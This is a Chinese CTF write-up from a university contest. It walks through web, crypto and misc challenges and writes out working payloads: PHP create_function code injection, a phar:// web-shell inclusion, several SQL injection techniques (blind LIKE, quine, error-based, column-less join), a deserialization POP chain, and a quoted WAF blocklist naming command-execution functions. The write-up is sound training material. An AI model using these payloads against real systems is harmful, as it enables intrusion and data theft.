前言
福师大的校赛,有些很简单的题就不写了,这个wp主要是记录下学习到的东西,也不算wp其实,因为有些题是后面复现的。
web
checkin
这题看代码颜色都能感觉到不对,使用了特殊的编码,因此要进行URL编码来进行GET传参,payload:
1 | ?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6N1SACTF |
level-up
五层关卡,前四层都是做过的,主要写下第五层,源码:
1 | <?php |
这里的考点是匿名函数的使用,主要是看到$a('',$b);
这个代码,那么我们可以使用create_function()匿名函数代码注入,这个函数填入两个参数,前一个是函数名,后一个是函数内容,因此可以执行。payload:
1 | ?a=%5ccreate_function&b=2;}system('cat /flag');/* |
bingdundun~
这题看了wp才发现当初几乎都做出来了,就差一点,有点可惜。
进入网页发现可以点击upload,点击后提示可以上传图片或压缩包,并且发现url有意思文件包含:
1 | ?bingdundun=upload |
上传文件测试发现应该是白名单,因此没办法上传配置文件和php文件,而文件包含也过滤了php://
、data://
等伪协议,但是发现phar://
没有被过滤,结合可以上传压缩包,这题应该就是考phar压缩包伪协议的包含了。
那么我们写一个一句马并打包上传,获取到文件名,然后用phar伪协议构建payload:
1 | ?bingdundun=phar://579eb57ccc73842341f80c475b04738b.zip/shell |
蚁剑连接,根目录获取flag。我当时包含的时候最后写的是shell.php而不是shell导致没包含成功,我好气啊。
babyupload
这题当时都没看,赛后补票了属于是。
源码提示/source
,那就去查看下,审计python代码:
1 | from flask import Flask, request, redirect, g, send_from_directory |
发现是路由,重点检查/upload
和file
,如果文件名中含有.
,则返回Bad filename!
,然后保存文件并且返回给/file
路由。而file
路由中有一段打开文件读取的代码,这里存在漏洞,我们更改文件名为//flag
,发包后回显文件名,访问对应文件即可获得flag:
middlerce
审计代码:
1 | <?php |
过滤了一片字符,还有二次check,看着都麻了。首先是我们可见的部分,这部分是参考了之前的一道赛题,但是由于%0A
也没了,所以就是用PCRE回溯的方法绕过preg_match()
。然后这里有个巨坑的点,我之前一直发送字符a一直不行,后来发现a也是被过滤的的……
然后是第二层,打比赛的时候是要猜的,不过复现时候wp也给出了黑名单:
1 | /\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i |
防了很多方式,不过*
没被过滤所以可以构造模糊查询,反引号没被过滤可以构造命令执行。echo被过滤了,不过符号没被过滤,因此构造短标签进行绕过,payload:
1 | import requests |
得到flag。
hardsql
这题描述有直接给语句:
1 | $password=$_POST['passwd']; |
其实看到这个语句我就想起之前hgame那题的like注入,最主要列名给你了,所以应该是类似的,所以直接把脚本改一下拿来用,exp:
1 | import requests |
跑出密码:
1 | b2f2d15b3ae082ca29697d8dcd420fd7 |
登录后发现是源码,审计一下重点部分:
1 | if ($row['passwd'] === $password) { |
这里是第五空间的一题改的,没做过这题所以当时没做出来。这里的考点是quine注入,这波学习了。
具体原理可以参考这几篇文章:
SQLi Quine
第五空间 2021——yet_another_mysql_injection
核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证。直接用上面文章的payload改一下就好了,由于char()
被过滤,可以通过chr()
或0x
替代。
payload:
1 | username=bilala&passwd='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHR(34),CHR(39)),CHR(63),"?")/**/AS/**/a#',CHR(34),CHR(39)),CHR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHR(34),CHR(39)),CHR(63),"?")/**/AS/**/a#')/**/AS/**/a# |
后来我也找到一个exp可以生成这类payload:
1 | def quine(data, debug=True): |
join-us
登录页面中存在sql注入,但是这个waf十分之狠,不过or也被过滤以及题目的名字都给我们提示,可能是无列名注入。
但是我们首先需要知道库名,而as被过滤了,这就导致我们无法通过database()的方式获取库名,我当时也卡在这了。看了wp发现这里要利用报错来进行爆库,payload:
1 | -1' || (select*from aa)# |
得到回显:
1 | Table 'sqlsql.aa' doesn't exist |
库名为sqlsql
接着用extractvalue报错注入获取表名,payload:
1 | -1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 0x73716c73716c)))# |
表名为Fal_flag和output。坑爹的是flag在output中。
这里由于column被过滤,因此无法查询列名,使用join无列名注入查列名,payload:
1 | -1' || extractvalue(1,concat(0x7e,(select*from (select*from output a join output b)c)))# |
列名为data
最后报错注入配合mid截断得到flag,payload:
1 | -1' || extractvalue(1,concat(0x7e,mid((select data from output),1,20)))# |
babyserialize
下个月恶补要的pop链,这题难度不是很高,刚好拿来练手用。
审计源码:
1 | <?php |
出口很明显是NISA类中的__invoke(),入口也显然应该选择TianXiWei类中的__wakeup()。接下来就是构造逻辑链条:
1 | TianXiWei:__wakeup() --> Ilovetxw:__call() --> four:__set() --> Ilovetxw:__toString() --> NISA:__invoke() |
由于waf对危险函数的过滤,这里要利用php原生类来读取,用GlobIterator(\"/f*\")
来读取文件名,再用SplFileObject("php://filter/convert.base64-encode/resource=/fllllllaaag")
来读取文件。
exp:
1 | <?php |
Crypto
rrssaa1
给了个exe文件,提示当明文等于明文,又给了个txt文件,里面有一个c的值。有点懵,这是rsa?
后面提示可以python反编译exe文件,发现是cbc加密,并且给了iv,根据明文等于密文,我们进行如下操作:
将IV作为第一组明文输入,这样异或出的就是一组0变量,再将0变量加密后的密文分组作为第二次的明文输入,这样第二组的异或出的仍是一组0变量,这样得到的密文分组和明文分组就是一样的。
得到10组n、e的值,这里就很明显是共解密指数攻击了,exp:
1 | //sage |
rrssaa2
和闽盾杯那题爆零密码一样的考法,e与phi不互质,并且需要amm开根运算,源码:
1 | from Crypto.Util.number import * |
但是这里有个坑爹的地方,闽盾那个脚本中的k和这次的k有区别,不能直接套,因此要改下exp:
1 | import random |
Misc
套娃
这次misc感觉就这道取证值得说道说道,其他的题不是太简单就是自己犯蠢没想出来,这题还是有一定难度的。
filescan搜索,发现可疑zip文件,提取出来后里面有一个pwd.txt和一个image.rar两个文件,压缩包是加密的,密码应该就是pwd里面的内容了。
pwd.txt:
1 | KVKFMU2NNN4HKTJSGVGWGVSWOVKVORSKKZUUCZY= |
这里做了个套娃,一个base32,一个base64,而最后一个是换表base64,用CyberChef可以解除最后的密码:
1 | pwD_1s_h3re! |
解压后发现是一堆图片,附件里还有个array.txt,同样也套了几层编码,unicode+base64+base32+hex,解出来一个数组:
1 | 32, 24, 6, 28, 15, 31,7, 23, 13, 27, 30, 33,12, 8, 5, 26, 29, 16,34, 22, 2, 14, 9, 17,21, 1, 19, 10, 4, 36,35, 25, 11, 20, 3, 18 |
发现刚好和图片数量吻合,应该就是拼图顺序了,可以写脚本,但是我菜不会写就手拼了,反正不多,这里贴个wp里的exp:
1 | from PIL import Image |
拼完后能得到一个字符串:
1 | 58s4vb6rt4pt5r32yd6ht5u656555r6796524vi69r2yd5om6w0 |
最后利用twin-hex解码字符串得到flag。